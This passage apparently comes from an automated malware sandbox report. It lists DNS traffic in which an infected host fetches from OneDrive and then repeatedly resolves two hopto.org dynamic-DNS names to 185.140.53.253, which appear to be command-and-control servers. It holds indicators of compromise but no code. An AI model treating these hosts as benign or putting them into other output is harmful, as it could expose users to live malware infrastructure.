Jan 19, 2021 17:15:47.547096968 CET	53	52076	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:50.469167948 CET	54903	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:50.533364058 CET	53	54903	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:51.730165958 CET	55045	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:51.789258957 CET	53	55045	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:53.997497082 CET	54464	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:54.061994076 CET	53	54464	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:07.202050924 CET	50970	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:07.266206980 CET	53	50970	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:09.467921972 CET	55261	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:09.529237032 CET	53	55261	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:10.766552925 CET	59809	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:10.823873997 CET	53	59809	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:13.058108091 CET	51278	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:13.114248037 CET	53	51278	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:14.301039934 CET	51932	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:14.361051083 CET	53	51932	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:16.555202007 CET	59494	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:16.616471052 CET	53	59494	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:17.819614887 CET	55915	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:17.876086950 CET	53	55915	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:20.080435991 CET	49779	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:20.139585972 CET	53	49779	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:21.342369080 CET	49458	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:21.393071890 CET	53	49458	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:23.585649014 CET	57164	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:23.644537926 CET	53	57164	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:24.839747906 CET	49840	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:24.896742105 CET	53	49840	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:27.103224039 CET	57174	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:27.159734011 CET	53	57174	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:28.373641968 CET	58531	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:28.430135965 CET	53	58531	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:30.653420925 CET	49608	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:30.709765911 CET	53	49608	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:31.925923109 CET	55682	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:31.985290051 CET	53	55682	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:34.204695940 CET	62436	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:34.265736103 CET	53	62436	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:35.472865105 CET	61230	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:35.537314892 CET	53	61230	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:37.777757883 CET	64730	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:37.836141109 CET	53	64730	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:39.052273989 CET	60624	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:39.112523079 CET	53	60624	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:41.310803890 CET	62600	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:41.369627953 CET	53	62600	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:42.581015110 CET	53200	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:42.639022112 CET	53	53200	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:44.838633060 CET	61034	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:44.897322893 CET	53	61034	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:46.098861933 CET	57687	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:46.155225992 CET	53	57687	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:48.340233088 CET	49839	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:48.404742956 CET	53	49839	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:49.565933943 CET	57975	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:49.622330904 CET	53	57975	8.8.8.8	192.168.2.4
Jan 19, 2021 17:16:51.772027969 CET	57610	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:16:51.819967985 CET	53	57610	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 19, 2021 17:14:20.323478937 CET	192.168.2.4	8.8.8.8	0xd391	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:21.239258051 CET	192.168.2.4	8.8.8.8	0xc44d	Standard query (0)	sqknbg.dm.files.1drv.com	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:22.696815968 CET	192.168.2.4	8.8.8.8	0x3dab	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:23.976702929 CET	192.168.2.4	8.8.8.8	0xfa67	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:26.234143972 CET	192.168.2.4	8.8.8.8	0xbd93	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:27.468760014 CET	192.168.2.4	8.8.8.8	0xf12c	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:29.706235886 CET	192.168.2.4	8.8.8.8	0xba4f	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:30.943011999 CET	192.168.2.4	8.8.8.8	0x14b9	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:33.177584887 CET	192.168.2.4	8.8.8.8	0xf9d7	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:34.407461882 CET	192.168.2.4	8.8.8.8	0x8275	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:36.651421070 CET	192.168.2.4	8.8.8.8	0x2796	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:37.950375080 CET	192.168.2.4	8.8.8.8	0x8112	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:40.318720102 CET	192.168.2.4	8.8.8.8	0x885f	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:41.578357935 CET	192.168.2.4	8.8.8.8	0x1e9	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:43.866233110 CET	192.168.2.4	8.8.8.8	0xb475	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:45.117981911 CET	192.168.2.4	8.8.8.8	0xcffa	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:47.368578911 CET	192.168.2.4	8.8.8.8	0x300e	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:48.686530113 CET	192.168.2.4	8.8.8.8	0xd415	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:50.952425003 CET	192.168.2.4	8.8.8.8	0x93fd	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:52.201205015 CET	192.168.2.4	8.8.8.8	0x3aaf	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:54.446244001 CET	192.168.2.4	8.8.8.8	0xe354	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:55.690269947 CET	192.168.2.4	8.8.8.8	0xb8b8	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:58.136776924 CET	192.168.2.4	8.8.8.8	0x7f8e	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:59.487055063 CET	192.168.2.4	8.8.8.8	0xde20	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:01.789062023 CET	192.168.2.4	8.8.8.8	0x6eb2	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:03.039455891 CET	192.168.2.4	8.8.8.8	0x454f	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:05.269073963 CET	192.168.2.4	8.8.8.8	0x80d3	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:06.311877966 CET	192.168.2.4	8.8.8.8	0x80d3	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:07.562407970 CET	192.168.2.4	8.8.8.8	0xf2c9	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:09.798381090 CET	192.168.2.4	8.8.8.8	0xbe01	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:11.032475948 CET	192.168.2.4	8.8.8.8	0x113c	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:13.283751965 CET	192.168.2.4	8.8.8.8	0xe41c	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:14.540656090 CET	192.168.2.4	8.8.8.8	0xeec6	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:28.757800102 CET	192.168.2.4	8.8.8.8	0xfbfd	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:30.019778013 CET	192.168.2.4	8.8.8.8	0x969e	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:32.265638113 CET	192.168.2.4	8.8.8.8	0x3f0e	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:33.506709099 CET	192.168.2.4	8.8.8.8	0x7ae3	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:35.753662109 CET	192.168.2.4	8.8.8.8	0xf04b	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:37.014866114 CET	192.168.2.4	8.8.8.8	0x7653	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:39.257890940 CET	192.168.2.4	8.8.8.8	0xac4b	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:40.498341084 CET	192.168.2.4	8.8.8.8	0x9466	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:42.731714010 CET	192.168.2.4	8.8.8.8	0x1882	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:43.980668068 CET	192.168.2.4	8.8.8.8	0xb347	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:46.222735882 CET	192.168.2.4	8.8.8.8	0xdde8	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:47.490364075 CET	192.168.2.4	8.8.8.8	0xda2	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:50.469167948 CET	192.168.2.4	8.8.8.8	0xa29b	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:51.730165958 CET	192.168.2.4	8.8.8.8	0x673b	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:53.997497082 CET	192.168.2.4	8.8.8.8	0x17fe	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:07.202050924 CET	192.168.2.4	8.8.8.8	0x90f4	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:09.467921972 CET	192.168.2.4	8.8.8.8	0x6360	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:10.766552925 CET	192.168.2.4	8.8.8.8	0x696c	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:13.058108091 CET	192.168.2.4	8.8.8.8	0x4581	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:14.301039934 CET	192.168.2.4	8.8.8.8	0x2031	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:16.555202007 CET	192.168.2.4	8.8.8.8	0x7900	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:17.819614887 CET	192.168.2.4	8.8.8.8	0x1e2e	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:20.080435991 CET	192.168.2.4	8.8.8.8	0xd577	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:21.342369080 CET	192.168.2.4	8.8.8.8	0x4789	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:23.585649014 CET	192.168.2.4	8.8.8.8	0x3d2a	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:24.839747906 CET	192.168.2.4	8.8.8.8	0x94ad	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:27.103224039 CET	192.168.2.4	8.8.8.8	0x4bba	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:28.373641968 CET	192.168.2.4	8.8.8.8	0xdffd	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:30.653420925 CET	192.168.2.4	8.8.8.8	0xcaed	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:31.925923109 CET	192.168.2.4	8.8.8.8	0xf3c1	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:34.204695940 CET	192.168.2.4	8.8.8.8	0x910b	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:35.472865105 CET	192.168.2.4	8.8.8.8	0x59d9	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:37.777757883 CET	192.168.2.4	8.8.8.8	0x9222	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:39.052273989 CET	192.168.2.4	8.8.8.8	0x6cab	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:41.310803890 CET	192.168.2.4	8.8.8.8	0x2b6b	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:42.581015110 CET	192.168.2.4	8.8.8.8	0xa7bb	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:44.838633060 CET	192.168.2.4	8.8.8.8	0xed0e	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:46.098861933 CET	192.168.2.4	8.8.8.8	0x3328	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:48.340233088 CET	192.168.2.4	8.8.8.8	0x11f3	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:49.565933943 CET	192.168.2.4	8.8.8.8	0xace5	Standard query (0)	sheilabeltagy3m.hopto.org	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:51.772027969 CET	192.168.2.4	8.8.8.8	0xf495	Standard query (0)	northside.hopto.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 19, 2021 17:14:20.374639988 CET	8.8.8.8	192.168.2.4	0xd391	No error (0)	onedrive.live.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)
Jan 19, 2021 17:14:21.313652992 CET	8.8.8.8	192.168.2.4	0xc44d	No error (0)	sqknbg.dm.files.1drv.com	dm-files.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)
Jan 19, 2021 17:14:21.313652992 CET	8.8.8.8	192.168.2.4	0xc44d	No error (0)	dm-files.fe.1drv.com	odc-dm-files-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)
Jan 19, 2021 17:14:22.759778976 CET	8.8.8.8	192.168.2.4	0x3dab	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:24.036922932 CET	8.8.8.8	192.168.2.4	0xfa67	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:26.292227030 CET	8.8.8.8	192.168.2.4	0xbd93	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:27.530553102 CET	8.8.8.8	192.168.2.4	0xf12c	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:29.762629986 CET	8.8.8.8	192.168.2.4	0xba4f	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:30.999347925 CET	8.8.8.8	192.168.2.4	0x14b9	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:33.234193087 CET	8.8.8.8	192.168.2.4	0xf9d7	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:34.473480940 CET	8.8.8.8	192.168.2.4	0x8275	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:36.710648060 CET	8.8.8.8	192.168.2.4	0x2796	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:38.008048058 CET	8.8.8.8	192.168.2.4	0x8112	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:40.366662979 CET	8.8.8.8	192.168.2.4	0x885f	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:41.635349989 CET	8.8.8.8	192.168.2.4	0x1e9	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:43.922911882 CET	8.8.8.8	192.168.2.4	0xb475	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:45.174139023 CET	8.8.8.8	192.168.2.4	0xcffa	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:47.432704926 CET	8.8.8.8	192.168.2.4	0x300e	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:48.743086100 CET	8.8.8.8	192.168.2.4	0xd415	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:51.014060020 CET	8.8.8.8	192.168.2.4	0x93fd	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:52.257812977 CET	8.8.8.8	192.168.2.4	0x3aaf	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:54.496059895 CET	8.8.8.8	192.168.2.4	0xe354	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:55.746643066 CET	8.8.8.8	192.168.2.4	0xb8b8	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:58.197926998 CET	8.8.8.8	192.168.2.4	0x7f8e	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:14:59.548501015 CET	8.8.8.8	192.168.2.4	0xde20	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:01.845561981 CET	8.8.8.8	192.168.2.4	0x6eb2	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:03.095740080 CET	8.8.8.8	192.168.2.4	0x454f	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:06.368491888 CET	8.8.8.8	192.168.2.4	0x80d3	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:07.610485077 CET	8.8.8.8	192.168.2.4	0xf2c9	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:09.849160910 CET	8.8.8.8	192.168.2.4	0xbe01	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:11.093702078 CET	8.8.8.8	192.168.2.4	0x113c	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:13.343240023 CET	8.8.8.8	192.168.2.4	0xe41c	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:14.597177029 CET	8.8.8.8	192.168.2.4	0xeec6	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:28.815994978 CET	8.8.8.8	192.168.2.4	0xfbfd	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:30.076164007 CET	8.8.8.8	192.168.2.4	0x969e	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:32.326874018 CET	8.8.8.8	192.168.2.4	0x3f0e	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:33.564708948 CET	8.8.8.8	192.168.2.4	0x7ae3	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:35.809885979 CET	8.8.8.8	192.168.2.4	0xf04b	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:37.073565960 CET	8.8.8.8	192.168.2.4	0x7653	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:39.317043066 CET	8.8.8.8	192.168.2.4	0xac4b	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:40.546051025 CET	8.8.8.8	192.168.2.4	0x9466	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:42.791768074 CET	8.8.8.8	192.168.2.4	0x1882	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:44.036858082 CET	8.8.8.8	192.168.2.4	0xb347	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:46.287039042 CET	8.8.8.8	192.168.2.4	0xdde8	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:47.547096968 CET	8.8.8.8	192.168.2.4	0xda2	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:50.533364058 CET	8.8.8.8	192.168.2.4	0xa29b	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:51.789258957 CET	8.8.8.8	192.168.2.4	0x673b	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:15:54.061994076 CET	8.8.8.8	192.168.2.4	0x17fe	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:07.266206980 CET	8.8.8.8	192.168.2.4	0x90f4	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:09.529237032 CET	8.8.8.8	192.168.2.4	0x6360	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:10.823873997 CET	8.8.8.8	192.168.2.4	0x696c	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:13.114248037 CET	8.8.8.8	192.168.2.4	0x4581	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:14.361051083 CET	8.8.8.8	192.168.2.4	0x2031	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:16.616471052 CET	8.8.8.8	192.168.2.4	0x7900	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:17.876086950 CET	8.8.8.8	192.168.2.4	0x1e2e	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:20.139585972 CET	8.8.8.8	192.168.2.4	0xd577	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:21.393071890 CET	8.8.8.8	192.168.2.4	0x4789	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:23.644537926 CET	8.8.8.8	192.168.2.4	0x3d2a	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:24.896742105 CET	8.8.8.8	192.168.2.4	0x94ad	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:27.159734011 CET	8.8.8.8	192.168.2.4	0x4bba	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:28.430135965 CET	8.8.8.8	192.168.2.4	0xdffd	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:30.709765911 CET	8.8.8.8	192.168.2.4	0xcaed	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:31.985290051 CET	8.8.8.8	192.168.2.4	0xf3c1	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:34.265736103 CET	8.8.8.8	192.168.2.4	0x910b	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:35.537314892 CET	8.8.8.8	192.168.2.4	0x59d9	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:37.836141109 CET	8.8.8.8	192.168.2.4	0x9222	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:39.112523079 CET	8.8.8.8	192.168.2.4	0x6cab	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:41.369627953 CET	8.8.8.8	192.168.2.4	0x2b6b	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:42.639022112 CET	8.8.8.8	192.168.2.4	0xa7bb	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:44.897322893 CET	8.8.8.8	192.168.2.4	0xed0e	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
